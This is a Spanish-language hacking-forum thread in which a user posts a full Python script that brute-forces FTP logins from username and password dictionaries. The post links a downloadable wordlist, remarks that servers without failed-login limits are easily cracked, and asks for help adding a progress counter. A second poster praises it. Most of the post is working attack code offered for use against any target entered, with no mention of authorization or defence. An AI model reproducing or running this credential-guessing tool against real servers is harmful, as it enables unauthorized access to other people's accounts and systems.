Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Runex en 17 Mayo 2012, 00:49 am



Título: BruteForce Ftp Python
Publicado por: Runex en 17 Mayo 2012, 00:49 am
Buenas compañeros, estaba haciendo un bruteforce ftp con python, pero tengo un par de problemas, uno de los cuales es la velocidad y otro el límite establecido de logueos fallidos. ¿ Alguna Idea ?

EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente :).
Resuelto el problema de los límites de fallos :)

Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes :D), utilizad el mismo diccionario para los usuarios y los passwords, solo tenéis que hacer una copia y renombrarla a passwords.txt: https://rapidshare.com/files/4215115057/usuarios.txt

Tened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.

Si os interesa que le aplique interfaz gráfica decidmelo :).

Este es el código:

Código
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import ftplib
  4.  
  5. class ftp_brute_force:
  6. def __init__(self,conectftp,target):
  7. self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
  8. print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
  9. try:
  10. self.users = open("usuarios.txt","r")
  11. self.passwords = open("passwords.txt","r")
  12. except:
  13. print "\n [-] No existen los diccionarios"
  14. exit()
  15. for self.user in self.users.readlines():
  16. self.listausuarios.append(self.user)
  17. self.contadorus += 1
  18. for self.password in self.passwords.readlines():
  19. self.listapasswords.append(self.password)
  20. self.contadorpas += 1
  21. self.users.close()
  22. self.passwords.close()
  23. print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
  24. print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
  25. print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
  26. self.bruteforce()
  27. def bruteforce(self):
  28. for self.user in self.listausuarios:
  29. for self.password in self.listapasswords:
  30. try:
  31. self.conectftp.login(self.user,self.password)
  32. print "Los datos son --> " + self.user + " y " + self.password
  33. self.conectftp.quit()
  34. self.conectftp.close()
  35. self.conectftp = ftplib.FTP(self.target)
  36. raw_input()
  37. except:
  38. print self.user + " y " + self.password + " no son correctos"
  39. self.conectftp.quit()
  40. self.conectftp.close()
  41. self.conectftp = ftplib.FTP(self.target)
  42.  
  43. print " [-] No se han podido extraer datos."
  44.  
  45. if __name__ == '__main__':
  46. print " [+]   FTP CRACKER BY RUNE   [+]\n\n\n"
  47. target = raw_input("\n\nIntroduce el target [+] > ")
  48. try:
  49. conectftp = ftplib.FTP(target)
  50. except:
  51. print " \n[-] No existe el target"
  52. exit()
  53. instancia = ftp_brute_force(conectftp,target)
  54.  
  55.  
  56.  

Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:

0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.

¿ Se os ocurre algo ?

Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex :)


Título: Re: BruteForce Ftp Python
Publicado por: 0xDani en 17 Mayo 2012, 19:32 pm
Muy bueno, Runex! ;-)